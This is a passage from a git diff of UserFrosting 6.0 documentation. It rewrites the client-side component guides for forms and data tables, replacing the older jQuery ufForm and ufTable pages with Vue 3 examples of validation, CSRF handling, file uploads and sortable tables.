+```
+
+### 4. Extract Reusable Logic
+
+Move shared logic to composables:
+
+```typescript
+// composables/useFetch.ts
+export function useFetch<T>(url: string) {
+  const data = ref<T | null>(null)
+  const loading = ref(false)
+  const error = ref<Error | null>(null)
+
+  async function fetch() {
+    loading.value = true
+    try {
+      const response = await axios.get<T>(url)
+      data.value = response.data
+    } catch (e) {
+      error.value = e as Error
+    } finally {
+      loading.value = false
+    }
+  }
+
+  return { data, loading, error, fetch }
+}
+```
+
+## Debugging Vue Components
+
+### Vue DevTools
+
+Install [Vue DevTools](https://devtools.vuejs.org/) browser extension to:
+- Inspect component tree
+- View component state and props
+- Track emitted events
+- Profile component performance
+- Time-travel debug (see state history)
+
+### Console Debugging
+
+```vue
+<script setup lang="ts">
+import { watch, watchEffect } from 'vue'
+
+// Watch specific value
+watch(user, (newUser, oldUser) => {
+  console.log('User changed:', { newUser, oldUser })
+})
+
+// Watch multiple values
+watch([firstName, lastName], ([newFirst, newLast]) => {
+  console.log('Name changed:', newFirst, newLast)
+})
+
+// Watch immediately and on changes
+watchEffect(() => {
+  console.log('Current user:', user.value)
+})
+</script>
+
+<template>
+  <!-- Debug template values -->
+  <pre>{{ JSON.stringify(user, null, 2) }}</pre>
+</template>
+```
+
+## What's Next?
+
+Now that you understand Vue 3 components, learn how to build specific UI patterns:
+
+- **[Forms](client-side-code/components/forms)**: Build validated, AJAX-powered forms
+- **[Tables](client-side-code/components/tables)**: Create sortable, filterable data tables
+- **[Alerts](client-side-code/components/alerts)**: Display notifications and messages
+- **[Collections](client-side-code/components/collections)**: Manage dynamic lists
+
+## Further Learning
+
+- **[Vue 3 Official Guide](https://vuejs.org/guide/)** - Comprehensive Vue documentation
+- **[TypeScript with Vue](https://vuejs.org/guide/typescript/overview.html)** - TypeScript integration
+- **[Vite Documentation](https://vitejs.dev/guide/)** - Build tool details
+- **[Composition API FAQ](https://vuejs.org/guide/extras/composition-api-faq.html)** - Why Composition API?
+
+> [!TIP]
+> Don't try to learn everything at once. Start with basic components, add reactivity, then gradually explore advanced features like composables and TypeScript as you need them.
diff --git a/app/pages/6.0/15.client-side-code/04.components/01.forms/docs.md b/app/pages/6.0/15.client-side-code/04.components/01.forms/docs.md
index 9bb0df26..f9e6eec8 100644
--- a/app/pages/6.0/15.client-side-code/04.components/01.forms/docs.md
+++ b/app/pages/6.0/15.client-side-code/04.components/01.forms/docs.md
@@ -1,166 +1,706 @@
 ---
-title: Forms
-description: The ufForm widget makes it easy to set up simple forms for validation and AJAX submission.
-obsolete: true
+title: Building Forms with Vue 3
+description: Create validated, AJAX-powered forms using Vue 3 and modern form handling patterns
+wip: true
 ---
 
-You may have noticed that in UserFrosting, forms are usually submitted via an AJAX request. By submitting forms with AJAX rather than HTML's native form submission, we can control the behavior of the page before submission (client-side validation, transforming form data) and after submission (deciding whether to reload the page, redirect, display messages, etc).
-
-UserFrosting's `ufForm` widget makes it easy to handle many form-submission tasks automatically. Simply create your usual form markup:
+Forms are essential for user interaction in web applications. UserFrosting 6.0 uses Vue 3 to create reactive, validated forms that submit via AJAX, providing a smooth user experience without full page reloads.
+
+This guide shows you how to build forms with Vue 3, handle validation, submit data to your API, and display feedback to users.
+
+## Basic Form Component
+
+Here's a simple login form component to get started:
+
+**LoginForm.vue**:
+```vue
+<template>
+  <form @submit.prevent="handleSubmit" class="uk-form-stacked">
+    <!-- CSRF Token (UserFrosting requirement) -->
+    <input type="hidden" :name="csrfName" :value="csrfValue" />
+
+    <!-- Username Field -->
+    <div class="uk-margin">
+      <label class="uk-form-label" for="username">Username</label>
+      <div class="uk-form-controls">
+        <input
+          id="username"
+          v-model="form.username"
+          type="text"
+          class="uk-input"
+          :class="{ 'uk-form-danger': errors.username }"
+          placeholder="Enter your username"
+        />
+        <div v-if="errors.username" class="uk-text-danger uk-text-small">
+          {{ errors.username }}
+        </div>
+      </div>
+    </div>
 
-```html
-<form id="sign-in" action="{{site.uri.public}}/account/login" method="post">
-  {% include "forms/csrf.html.twig" %}
-  <div class="form-group has-feedback">
-    <label>Username</label>
-    <input type="text" class="form-control" name="user_name">
-  </div>
-  <div class="form-group has-feedback">
-    <label>Password</label>
-    <input type="password" class="form-control" name="password">
-  </div>
-  <div class="row">
-    <div class="col-xs-8">
-      <div class="checkbox icheck">
-        <label>
-          <input type="checkbox" class="js-icheck" name="rememberme"> Remember me
-        </label>
+    <!-- Password Field -->
+    <div class="uk-margin">
+      <label class="uk-form-label" for="password">Password</label>
+      <div class="uk-form-controls">
+        <input
+          id="password"
+          v-model="form.password"
+          type="password"
+          class="uk-input"
+          :class="{ 'uk-form-danger': errors.password }"
+          placeholder="Enter your password"
+        />
+        <div v-if="errors.password" class="uk-text-danger uk-text-small">
+          {{ errors.password }}
+        </div>
       </div>
     </div>
-    <div class="col-xs-4">
-      <button type="submit" class="btn btn-primary btn-block btn-flat">Sign in</button>
+
+    <!-- Remember Me Checkbox -->
+    <div class="uk-margin">
+      <label>
+        <input v-model="form.rememberMe" type="checkbox" class="uk-checkbox" />
+        Remember me
+      </label>
     </div>
-  </div>
-</form>
+
+    <!-- Submit Button -->
+    <div class="uk-margin">
+      <button
+        type="submit"
+        class="uk-button uk-button-primary"
+        :disabled="isSubmitting"
+      >
+        {{ isSubmitting ? 'Signing in...' : 'Sign in' }}
+      </button>
+    </div>
+
+    <!-- Error/Success Messages -->
+    <div v-if="successMessage" class="uk-alert-success" uk-alert>
+      <p>{{ successMessage }}</p>
+    </div>
+  </form>
+</template>
+
+<script setup lang="ts">
+import { ref, computed } from 'vue'
+import axios from 'axios'
+
+// Form state
+const form = ref({
+  username: '',
+  password: '',
+  rememberMe: false
+})
+
+// UI state
+const isSubmitting = ref(false)
+const errors = ref<Record<string, string>>({})
+const successMessage = ref('')
+
+// CSRF tokens (from global site object)
+const csrfName = computed(() => site.csrf.keys.name)
+const csrfValue = computed(() => site.csrf.name)
+
+// Validation
+function validateForm(): boolean {
+  errors.value = {}
+
+  if (!form.value.username.trim()) {
+    errors.value.username = 'Username is required'
+  }
+
+  if (!form.value.password) {
+    errors.value.password = 'Password is required'
+  }
+
+  return Object.keys(errors.value).length === 0
+}
+
+// Submit handler
+async function handleSubmit() {
+  if (!validateForm()) {
+    return
+  }
+
+  isSubmitting.value = true
+  errors.value = {}
+  successMessage.value = ''
+
+  try {
+    const response = await axios.post(
+      `${site.uri.public}/account/login`,
+      {
+        user_name: form.value.username,
+        password: form.value.password,
+        rememberme: form.value.rememberMe
+      },
+      {
+        headers: {
+          [csrfName.value]: csrfValue.value
+        }
+      }
+    )
+
+    successMessage.value = 'Login successful! Redirecting...'
+
+    // Redirect after success
+    setTimeout(() => {
+      window.location.href = response.data.redirect || '/dashboard'
+    }, 1000)
+
+  } catch (error: any) {
+    if (error.response?.data?.errors) {
+      // Server validation errors
+      errors.value = error.response.data.errors
+    } else {
+      errors.value.general = error.response?.data?.message || 'Login failed'
+    }
+  } finally {
+    isSubmitting.value = false
+  }
+}
+</script>
+
+<style scoped>
+.uk-form-danger {
+  border-color: #f0506e;
+}
+</style>
+```
+
+## Form Handling Patterns
+
+### 1. Two-Way Data Binding
+
+Use `v-model` for automatic synchronization between form inputs and data:
+
+```vue
+<script setup lang="ts">
+import { ref } from 'vue'
+
+const form = ref({
+  email: '',
+  age: 0,
+  newsletter: false,
+  role: 'user'
+})
+</script>
+
+<template>
+  <!-- Text input -->
+  <input v-model="form.email" type="email" />
+
+  <!-- Number input -->
+  <input v-model.number="form.age" type="number" />
+
+  <!-- Checkbox -->
+  <input v-model="form.newsletter" type="checkbox" />
+
+  <!-- Select dropdown -->
+  <select v-model="form.role">
+    <option value="user">User</option>
+    <option value="admin">Admin</option>
+  </select>
+</template>
 ```
 
-You can then initialize the `ufForm` widget on the `form` element in your page Javascript:
+### 2. Form Validation
 
-```js
-$("#sign-in").ufForm({
-    validators: page.validators.login,
-    msgTarget: $("#alerts-page")
-}).on("submitSuccess.ufForm", function(event, data, textStatus, jqXHR) {
-    redirectOnLogin(jqXHR);
-});
+#### Client-Side Validation
+
+Validate before submitting:
+
+```typescript
+interface FormErrors {
+  [key: string]: string
+}
+
+const errors = ref<FormErrors>({})
+
+function validateEmail(email: string): boolean {
+  const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/
+  return regex.test(email)
+}
+
+function validateForm(): boolean {
+  errors.value = {}
+
+  // Required fields
+  if (!form.value.username.trim()) {
+    errors.value.username = 'Username is required'
+  } else if (form.value.username.length < 3) {
+    errors.value.username = 'Username must be at least 3 characters'
+  }
+
+  // Email validation
+  if (!form.value.email) {
+    errors.value.email = 'Email is required'
+  } else if (!validateEmail(form.value.email)) {
+    errors.value.email = 'Please enter a valid email'
+  }
+
+  // Password strength
+  if (form.value.password.length < 8) {
+    errors.value.password = 'Password must be at least 8 characters'
+  }
+
+  return Object.keys(errors.value).length === 0
+}
+```
+
+#### Server-Side Validation
+
+Handle validation errors from the server:
+
+```typescript
+async function handleSubmit() {
+  try {
+    await axios.post('/api/users', form.value)
+  } catch (error: any) {
+    if (error.response?.status === 422) {
+      // Laravel-style validation errors
+      errors.value = error.response.data.errors
+    } else if (error.response?.data?.errors) {
+      // UserFrosting-style errors
+      errors.value = error.response.data.errors
+    }
+  }
+}
+```
+
+### 3. CSRF Protection
+
+UserFrosting requires CSRF tokens for POST requests. Include them automatically:
+
+```vue
+<script setup lang="ts">
+import { computed } from 'vue'
+import axios from 'axios'
+
+// Get CSRF from global site object
+const csrfName = computed(() => site.csrf.keys.name)
+const csrfValue = computed(() => site.csrf.name)
+
+async function submitForm(data: any) {
+  await axios.post('/api/endpoint', data, {
+    headers: {
+      [csrfName.value]: csrfValue.value
+    }
+  })
+}
+</script>
+
+<template>
+  <form @submit.prevent="handleSubmit">
+    <!-- Hidden CSRF fields -->
+    <input type="hidden" :name="csrfName" :value="csrfValue" />
+    <!-- Rest of form... -->
+  </form>
+</template>
 ```
 
-The form will automatically be validated and submitted when the user clicks the `submit` button (`<button type="submit"...>`). The submit button must be _inside_ the `<form>` block for this to work properly.
+### 4. Loading States
+
+Show feedback during submission:
 
-## Options
+```vue
+<script setup lang="ts">
+import { ref } from 'vue'
 
-### ajax
+const isSubmitting = ref(false)
 
-This option contains any AJAX settings that you would like to pass through to the form submission [`.ajax` handler](http://api.jquery.com/jquery.ajax/#jQuery-ajax-settings).
+async function handleSubmit() {
+  isSubmitting.value = true
 
-The defaults for this option should be sufficient most of the time - you shouldn't need to change them in most circumstances. By default, `ufForm` will determine the request url and HTTP verb from your `<form>` tag's `action` and `method` attributes, respectively.
+  try {
+    await axios.post('/api/endpoint', form.value)
+  } finally {
+    isSubmitting.value = false
+  }
+}
+</script>
+
+<template>
+  <button
+    type="submit"
+    :disabled="isSubmitting"
+    class="uk-button uk-button-primary"
+  >
+    <span v-if="isSubmitting">
+      <span uk-spinner="ratio: 0.5"></span> Submitting...
+    </span>
+    <span v-else>Submit</span>
+  </button>
+</template>
+```
+
+## Advanced Patterns
+
+### Reusable Form Composable
 
-### validators
+Create a composable for common form logic:
 
-If the `validators` option is set, `ufForm` will automatically validate on the form using the jQueryValidation plugin with the rules provided. `validators` should be a JSON object, which might look something like:
+**composables/useForm.ts**:
+```typescript
+import { ref, Ref } from 'vue'
+import axios, { AxiosError } from 'axios'
 
-```json
-{
-    "rules": {
-        "user_name": {
-            "required": true,
-            "noLeadingWhitespace": true,
-            "noTrailingWhitespace": true
-        },
-        "password": {
-            "required": true
-        },
-        "rememberme": []
-    },
-    "messages": {
-        "user_name": {
-            "required": "Please specify a value for 'Username'.",
-            "noLeadingWhitespace": "The value for 'Username' cannot begin with spaces, tabs, or other whitespace.",
-            "noTrailingWhitespace": "The value for 'Username' cannot end with spaces, tabs, or other whitespace."
-        },
-        "password": {
-            "required": "Please specify a value for 'Password'."
+interface UseFormOptions<T> {
+  initialData: T
+  onSuccess?: (data: any) => void
+  onError?: (error: AxiosError) => void
+}
+
+export function useForm<T extends Record<string, any>>(
+  options: UseFormOptions<T>
+) {
+  const form = ref<T>({ ...options.initialData }) as Ref<T>
+  const errors = ref<Record<string, string>>({})
+  const isSubmitting = ref(false)
+  const isDirty = ref(false)
+
+  function reset() {
+    form.value = { ...options.initialData }
+    errors.value = {}
+    isDirty.value = false
+  }
+
+  function setErrors(serverErrors: Record<string, string | string[]>) {
+    errors.value = {}
+
+    for (const [field, messages] of Object.entries(serverErrors)) {
+      errors.value[field] = Array.isArray(messages)
+        ? messages[0]
+        : messages
+    }
+  }
+
+  async function submit(url: string, method: 'post' | 'put' | 'patch' = 'post') {
+    isSubmitting.value = true
+    errors.value = {}
+
+    try {
+      const response = await axios[method](url, form.value, {
+        headers: {
+          [site.csrf.keys.name]: site.csrf.name,
+          [site.csrf.keys.value]: site.csrf.value
         }
+      })
+
+      options.onSuccess?.(response.data)
+      return response.data
+
+    } catch (error: any) {
+      if (error.response?.data?.errors) {
+        setErrors(error.response.data.errors)
+      }
+
+      options.onError?.(error)
+      throw error
+
+    } finally {
+      isSubmitting.value = false
     }
+  }
+
+  return {
+    form,
+    errors,
+    isSubmitting,
+    isDirty,
+    reset,
+    setErrors,
+    submit
+  }
+}
+```
+
+**Usage**:
+```vue
+<script setup lang="ts">
+import { useForm } from '@/composables/useForm'
+
+interface UserForm {
+  username: string
+  email: string
+  password: string
 }
+
+const { form, errors, isSubmitting, submit, reset } = useForm<UserForm>({
+  initialData: {
+    username: '',
+    email: '',
+    password: ''
+  },
+  onSuccess: (data) => {
+    alert('User created successfully!')
+    reset()
+  }
+})
+
+async function handleSubmit() {
+  await submit('/api/users', 'post')
+}
+</script>
+
+<template>
+  <form @submit.prevent="handleSubmit">
+    <input v-model="form.username" />
+    <span v-if="errors.username">{{ errors.username }}</span>
+
+    <button type="submit" :disabled="isSubmitting">
+      Submit
+    </button>
+  </form>
+</template>
 ```
 
-See the section on [generating client-side validation rules in Fortress](routes-and-controllers/client-input/validation#generating-client-side-rules) to see how `page.validators.login` can be automatically generated from a Fortress schema.
+### File Upload
+
+Handle file uploads with progress tracking:
+
+```vue
+<script setup lang="ts">
+import { ref } from 'vue'
+import axios from 'axios'
 
-### msgTarget
+const selectedFile = ref<File | null>(null)
+const uploadProgress = ref(0)
+const isUploading = ref(false)
 
-If `ufForm` receives an error from the server when it attempts to submit your form (i.e., the response contains a 4xx or 5xx status code), it will automatically retrieve any error messages from the [alert stream](routes-and-controllers/alert-stream) and render them on the page. `msgTarget` allows you to specify an element of the DOM where `ufForm` should display these messages.
+function onFileSelected(event: Event) {
+  const target = event.target as HTMLInputElement
+  selectedFile.value = target.files?.[0] || null
+}
 
-Internally, `ufForm` will set up a `ufAlerts` widget to fetch and render the alert stream messages.
+async function uploadFile() {
+  if (!selectedFile.value) return
+
+  const formData = new FormData()
+  formData.append('file', selectedFile.value)
+  formData.append(site.csrf.keys.name, site.csrf.name)
+  formData.append(site.csrf.keys.value, site.csrf.value)
+
+  isUploading.value = true
+  uploadProgress.value = 0
+
+  try {
+    await axios.post('/api/upload', formData, {
+      headers: {
+        'Content-Type': 'multipart/form-data'
+      },
+      onUploadProgress: (progressEvent) => {
+        if (progressEvent.total) {
+          uploadProgress.value = Math.round(
+            (progressEvent.loaded * 100) / progressEvent.total
+          )
+        }
+      }
+    })
 
-If `msgTarget` is not specified, `ufForm` will use the first element inside your form with the `js-form-alerts` class by default.
+    alert('File uploaded successfully!')
 
-### encType
+  } finally {
+    isUploading.value = false
+  }
+}
+</script>
+
+<template>
+  <div>
+    <input type="file" @change="onFileSelected" />
+
+    <button
+      @click="uploadFile"
+      :disabled="!selectedFile || isUploading"
+    >
+      Upload
+    </button>
+
+    <div v-if="isUploading">
+      <progress :value="uploadProgress" max="100"></progress>
+      {{ uploadProgress }}%
+    </div>
+  </div>
+</template>
+```
 
-The encoding type to use for submitting the form. By default, `ufForm` will use the `enctype` attribute in your `<form>` tag.
+### Dynamic Form Fields
 
-If the attribute is not set in the form or this option, the encoding type will default to `application/x-www-form-urlencoded`. The default will work for most types of forms. The exception is for forms that involve file uploads. In this case, you need to use `enctype = "multipart/form-data"` instead.
+Add/remove fields dynamically:
 
-### submittingText
+```vue
+<script setup lang="ts">
+import { ref } from 'vue'
 
-Content to show in the submit button (`<button type="submit"...>`) while the form is being submitted. Defaults to a spinner icon: `"<i class='fa fa-spinner fa-spin'></i>"`. When the submission button is clicked, the button will become disabled and this content will be displayed while the request is being submitted. Once the form submission is complete and a response has been received, `ufForm` automatically re-enables the button and reverts its text back to its original value.
+interface EmailField {
+  id: number
+  value: string
+}
 
-### beforeSubmitCallback
+const emails = ref<EmailField[]>([
+  { id: 1, value: '' }
+])
 
-An optional callback function to execute after the form has been validated successfully, but before submitting the AJAX request.
+let nextId = 2
 
-### binaryCheckboxes
+function addEmail() {
+  emails.value.push({
+    id: nextId++,
+    value: ''
+  })
+}
 
-If this option is set to `true`, `ufForm` will ignore the `value` attributes of any [`checkbox` controls](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/checkbox#value) and instead transform the values of the checkboxes to binary 0/1 values.
+function removeEmail(id: number) {
+  emails.value = emails.value.filter(email => email.id !== id)
+}
+</script>
 
-For example, suppose you have the checkbox control:
+<template>
+  <div v-for="email in emails" :key="email.id">
+    <input v-model="email.value" type="email" />
+    <button @click="removeEmail(email.id)">Remove</button>
+  </div>
 
-```html
-<input type="checkbox" name="rememberme" value="yes">
+  <button @click="addEmail">Add Email</button>
+</template>
 ```
 
-When the checkbox is checked, the submitted data will look something like `rememberme=yes`. But if it's _not_ checked, then no `rememberme` value will be submitted to the server at all!
+## Form Validation Libraries
 
-This behavior can be frustrating when processing the form on the server side. Unlike other types of controls, where a missing value might be considered a validation error, the interpretation of a missing checkbox can be ambiguous. When using a single checkbox, the purpose is typically to serve as a "toggle" element representing true/false. But of course since an unchecked box is not submitted at all, you would need the server to provide a default "false" value.
+For complex validation, consider these libraries:
 
-To summarize, when `binaryCheckboxes` is set to `false`:
+### VeeValidate
 
-| Checkbox status | Submitted data   |
-| --------------- | ---------------- |
-| checked         | `rememberme=yes` |
-| unchecked       | -                |
+[VeeValidate](https://vee-validate.logaretm.com/v4/) provides comprehensive form validation:
 
-By setting `binaryCheckboxes` to `true` (the default), we get a much more predictable behavior from our checkbox:
+```bash
+npm install vee-validate yup
+```
 
-| Checkbox status | Submitted data |
-| --------------- | -------------- |
-| checked         | `rememberme=1` |
-| unchecked       | `rememberme=0` |
+```vue
+<script setup lang="ts">
+import { useForm } from 'vee-validate'
+import * as yup from 'yup'
 
-### keyupDelay
+const schema = yup.object({
+  email: yup.string().required().email(),
+  password: yup.string().required().min(8),
+})
 
-The time, in milliseconds, to wait before revalidating the form after the user stops typing. See [this SO question](http://stackoverflow.com/questions/41363409/jquery-validate-add-delay-to-keyup-validation) for more information.
+const { defineField, handleSubmit, errors } = useForm({
+  validationSchema: schema
+})
 
-Defaults to `0`.
+const [email] = defineField('email')
+const [password] = defineField('password')
 
-## Events
+const onSubmit = handleSubmit((values) => {
+  console.log('Form submitted:', values)
+})
+</script>
 
-### submitSuccess.ufForm
+<template>
+  <form @submit="onSubmit">
+    <input v-model="email" type="email" />
+    <span>{{ errors.email }}</span>
+
+    <input v-model="password" type="password" />
+    <span>{{ errors.password }}</span>
+
+    <button type="submit">Submit</button>
+  </form>
+</template>
+```
 
-Triggered when the form has been submitted successfully. This happens after the submission button has been re-enabled.
+## Integration with Twig
 
-Any response from the server will be provided in the `data` parameter as JSON. For example, to log the response from the server when the form has been submitted successfully :
+Render your form component in a Twig template:
 
-```js
-$("#account-settings").ufForm({
-    validator: page.validators.account_settings,
-    msgTarget: $("#alerts-page")
-}).on("submitSuccess.ufForm", function(event, data, textStatus, jqXHR) {
-    // Log data to console
-    console.log(data);
-});
+**templates/pages/login.html.twig**:
+```twig
+{% extends '@admin/pages/abstract/dashboard.html.twig' %}
+
+{% block content %}
+    <div id="login-form-app"></div>
+{% endblock %}
+
+{% block scripts_page %}
+    {{ vite_js('login.ts') }}
+{% endblock %}
 ```
 
-### submitError.ufForm
+**assets/login.ts**:
+```typescript
+import { createApp } from 'vue'
+import LoginForm from './components/LoginForm.vue'
+
+createApp(LoginForm).mount('#login-form-app')
+```
+
+## Best Practices
+
+### 1. Validate on Both Sides
+
+Always validate on both client and server:
+- **Client**: Immediate feedback, better UX
+- **Server**: Security, can't be bypassed
+
+### 2. Clear Error Messages
+
+Provide specific, actionable error messages:
+
+✅ **Good**: "Email must be in format: user@example.com"
+❌ **Bad**: "Invalid input"
+
+### 3. Disable Submit During Processing
+
+Prevent duplicate submissions:
+
+```vue
+<button
+  type="submit"
+  :disabled="isSubmitting || !isValid"
+>
+  Submit
+</button>
+```
+
+### 4. Show Field-Level Errors
+
+Display errors next to the relevant field:
+
+```vue
+<div class="uk-margin">
+  <input v-model="form.email" :class="{ 'uk-form-danger': errors.email }" />
+  <div v-if="errors.email" class="uk-text-danger">
+    {{ errors.email }}
+  </div>
+</div>
+```
+
+### 5. Reset Forms After Success
+
+Clear the form after successful submission:
+
+```typescript
+async function handleSubmit() {
+  await submit('/api/users')
+  // Reset form
+  form.value = { ...initialData }
+  errors.value = {}
+}
+```
+
+## What's Next?
+
+- **[Tables](client-side-code/components/tables)**: Display data in sortable, filterable tables
+- **[Collections](client-side-code/components/collections)**: Manage dynamic lists of items
+- **[Alerts](client-side-code/components/alerts)**: Show notifications to users
+
+## Further Reading
 
-Triggered when the form submission has returned an error. This happens after the submission button has been re-enabled and any error messages have been rendered.
+- [Vue 3 Form Handling](https://vuejs.org/guide/essentials/forms.html)
+- [VeeValidate Documentation](https://vee-validate.logaretm.com/v4/)
+- [Axios Documentation](https://axios-http.com/docs/intro)
+- [UIkit Forms](https://getuikit.com/docs/form)
diff --git a/app/pages/6.0/15.client-side-code/04.components/02.tables/docs.md b/app/pages/6.0/15.client-side-code/04.components/02.tables/docs.md
index 7b7a91cd..eb9cd804 100644
--- a/app/pages/6.0/15.client-side-code/04.components/02.tables/docs.md
+++ b/app/pages/6.0/15.client-side-code/04.components/02.tables/docs.md
@@ -1,524 +1,364 @@
 ---
-title: Tables
-description: ufTable is a wrapper for Mottie's tablesorter plugin that automatically fetches JSON data from a specified API endpoint, and dynamically builds paginated, sorted, filtered views on the fly.
-obsolete: true
+title: Data Tables with Vue 3
+description: Build sortable, filterable, paginated tables using Vue 3 and modern table libraries
+wip: true
 ---
 
-A typical application feature is to display a table of entities from a server-side data source (e.g., a database). For example, the `admin` Sprinkle generates client-side tables for admins to view and manage users, groups, roles, activities, and permissions:
+Data tables are essential for displaying collections of information. UserFrosting 6.0 uses Vue 3 to create interactive tables with sorting, filtering, and pagination.
 
-![Viewing a table of user activities](images/table-activities.png)
+> [!NOTE]
+> [TODO: Screenshot] - Modern data table with sorting/filtering
 
-`ufTable` provides a convenient way to generate sortable, searchable, paginated tables of data from an AJAX source using Mottie's [tablesorter](https://mottie.github.io/tablesorter/docs/) jQuery plugin.
+## Simple Table Component
 
-## Table skeleton
+Start with a basic sortable table:
 
-A typical use case is to create a "skeleton" `<table>` in your Twig template, and then use `ufTable` to dynamically retrieve data from a JSON data source and construct the rows. As the user sorts columns, inputs filter queries, and pages through the data, `ufTable` will submit new AJAX requests to the server and refresh the `<table>` with the results of the updated queries.
+```vue
+<template>
+  <div>
+    <!-- Search/Filter -->
+    <input
+      v-model="searchQuery"
+      type="text"
+      placeholder="Search users..."
+      class="uk-input uk-width-1-1"
+    />
 
-For example, consider the Users table. First, we create a partial template that extends the base `tables/table-paginated.html.twig` template (we can include this partial template in a page template using the `include` tag later):
-
-**tables/users-custom.html.twig**:
-
-```twig
-{% extends "tables/table-paginated.html.twig" %}
-
-{% block table %}
-    <table id="{{table.id}}" class="tablesorter table table-bordered table-hover table-striped" data-sortlist="{{table.sortlist}}">
-        <thead>
-            <tr>
-                <th class="sorter-metatext" data-column-name="name" data-column-template="#user-table-column-info" data-priority="1">User info <i class="fa fa-sort"></i></th>
-                <th class="sorter-metanum" data-column-name="last_activity" data-column-template="#user-table-column-last-activity" data-priority="1">Last activity <i class="fa fa-sort"></i></th>
-            </tr>
-        </thead>
-        <tbody>
-        </tbody>
+    <!-- Table -->
+    <table class="uk-table uk-table-striped uk-table-hover">
+      <thead>
+        <tr>
+          <th @click="sort('name')">
+            Name
+            <span v-if="sortKey === 'name'">{{ sortOrder === 'asc' ? '▲' : '▼' }}</span>
+          </th>
+          <th @click="sort('email')">
+            Email
+            <span v-if="sortKey === 'email'">{{ sortOrder === 'asc' ? '▲' : '▼' }}</span>
+          </th>
+          <th>Actions</th>
+        </tr>
+      </thead>
+      <tbody>
+        <tr v-for="user in filteredUsers" :key="user.id">
+          <td>{{ user.name }}</td>
+          <td>{{ user.email }}</td>
+          <td>
+            <button @click="editUser(user)" class="uk-button uk-button-small">Edit</button>
+          </td>
+        </tr>
+      </tbody>
     </table>
-{% endblock %}
-```
-
-Your table skeleton should be defined in the `table` block as a `<table>` element. It should have a unique `id` attribute, and the `tablesorter` class (`ufTable` uses this class internally to reference the table). The other classes on `<table>` are [styling classes from Bootstrap](http://getbootstrap.com/css/#tables) and are optional. The `data-sortlist` attribute is a [tablesorter setting](https://mottie.github.io/tablesorter/docs/example-option-sort-list.html) that tells tablesorter how to initially sort the table when the page is loaded.
-
-You'll notice that we populated the table with all of its column headers, but an empty `tbody` element. This empty `tbody` is where `ufTable` will automatically render the rows using data from the AJAX source.
-
-### Column headers
-
-Each column header (`th` element) has several required `data-*` attributes that `ufTable` and Tablesorter use to make the table work correctly.
-
-```html
-<th class="sorter-metanum" data-column-name="last_activity" data-column-template="#user-table-column-last-activity" data-priority="1">Last activity <i class="fa fa-sort"></i></th>
-```
-
-#### Required attributes
-
-##### `data-column-name`
-
-This is used to determine the [Sprunje filter](database/data-sprunjing#custom-sorts-and-filters) name to use when the user types a query into the filter box for that column. For example, if we type "userfrost" into the filter box in the "User info" column:
-
-![Searching a table](images/uf-table-search.png)
-
-`ufTable` will add a query parameter `filters[name]=userfrost` in the next AJAX request it makes. See [Data Sprunjing](database/data-sprunjing) for information on setting up a Sprunjed data source in your server-side code.
-
-##### `data-column-template`
-
-An identifier used to find the [Handlebars template](client-side-code/client-side-templating) to use when rendering the cells for that particular column. For this example, we will define two Handlebars templates in the `table_cell_templates` block of our Twig template:
-
-```html
-{% block table_cell_templates %}
-
-    {% verbatim %}
-    <script id="user-table-column-info" type="text/x-handlebars-template">
-        <td data-text="{{row.last_name}}">
-            <strong>
-                <a href="{{site.uri.public}}/users/u/{{row.user_name}}">{{row.first_name}} {{row.last_name}} ({{row.user_name}})</a>
-            </strong>
-            {{row.email}}
-        </td>
-    </script>
-
-    <script id="user-table-column-last-activity" type="text/x-handlebars-template">
-        {{#if row.last_activity }}
-        <td data-num="{{dateFormat row.last_activity.occurred_at format='x'}}">
-            {{dateFormat row.last_activity.occurred_at format="dddd"}}<br>{{dateFormat row.last_activity.occurred_at format="MMM Do, YYYY h:mm a"}}
-            <br>
-            <i>{{row.last_activity.description}}</i>
-        </td>
-        {{ else }}
-        <td data-num="0">
-            <i>Unknown</i>
-        </td>
-        {{/if }}
-    </script>
-
-    ...
-    {% endverbatim %}
-
-{% endblock %}
-```
-
-Notice that the `ids` in these template `<script>` tags match the `data-column-template` attributes of your table skeleton.
-
-You'll also notice that we have custom `data-*` attributes in the `<td>` tags of each of these templates. These refer to tablesorter's [custom sort parsers](https://mottie.github.io/tablesorter/docs/example-parsers-advanced.html), which lets us define a custom parameter for tablesorter to use when sorting the table by the corresponding column. We will discuss this more later.
-
-As an alternative to the `data-column-template` attribute, you may map column names to template identifiers, **or even callback functions**, in `ufTable`'s initialization using the `columnTemplates` option. For example:
-
-```js
-$('#widget-users').ufTable({
-    dataUrl: site.uri.public + '/api/users',
-    columnTemplates: {
-        name: function (params) {
-            return "<td>" + params.row.full_name + "</td>";
-        },
-        last_activity: '#user-table-column-last-activity'
-    }
-});
-```
 
-These will override any template identifiers specified in the table headers' `data-column-template` attributes. If you map a column name to a string, it will work the same way as `data-column-template`, using it as a selector to find a corresponding `<script>` element that contains a Handlebars template. However if you map a column name to a _callback_, the callback will be used directly to render the corresponding cells for that column. An object containing the `row` object, the `rownum` row number, and the `site` object will be passed into the callback during table rendering.
-
-> [!TIP]
-> Using a callback for rendering a column is useful for example, when the logic needed to properly render the cell is too complex to delegate to Handlebars.
-
-##### `data-priority`
-
-This attribute is used by Tablesorter's [column selector widget](https://mottie.github.io/tablesorter/docs/example-widget-column-selector.html#column-selector-priority) to determine which columns can be hidden in tablet and mobile views to make the table more usable.
-
-| Priority   | Hide when browser width is less than... | Comment                                   |
-| ---------- | --------------------------------------- | ----------------------------------------- |
-| "critical" | Never                                   | Highest priority - never hide this column |
-| 1          | 320px                                   |                                           |
-| 2          | 480px                                   |                                           |
-| 3          | 640px                                   |                                           |
-| 4          | 800px                                   |                                           |
-| 5          | 960px                                   |                                           |
-| 6          | 1120px                                  | Lowest priority                           |
-
-Note that while normally you can hide/show columns by using the selectors generated in the table tool menu, you cannot hide any columns with a priority of `critical`.
-
-#### Optional attributes/classes
-
-You can further control the behavior of a column with the following attributes/classes:
-
-##### `data-sorter`
-
-Set to `false` to disable sorting for this column.
-
-##### `data-filter`
-
-Set to `false` to disable filtering for this column.
-
-##### `data-placeholder`
-
-Use this to set placeholder text for the column filter input (search field).
-
-##### `class="filter-select"`
-
-When you add this CSS class to your table, Tablesorter will generate a dropdown instead of a free text input for searching this column. Values for this dropdown will be populated from the corresponding `listable` array returned by your table's [Sprunje](database/data-sprunjing#Sprunjelists).
-
-## Table wrapper
-
-To use your table, simply `include` your table partial template in your page inside a wrapper `<div>`:
-
-```html
-<div id="myUserTable" class="box box-primary">
-    <div class="box-header">
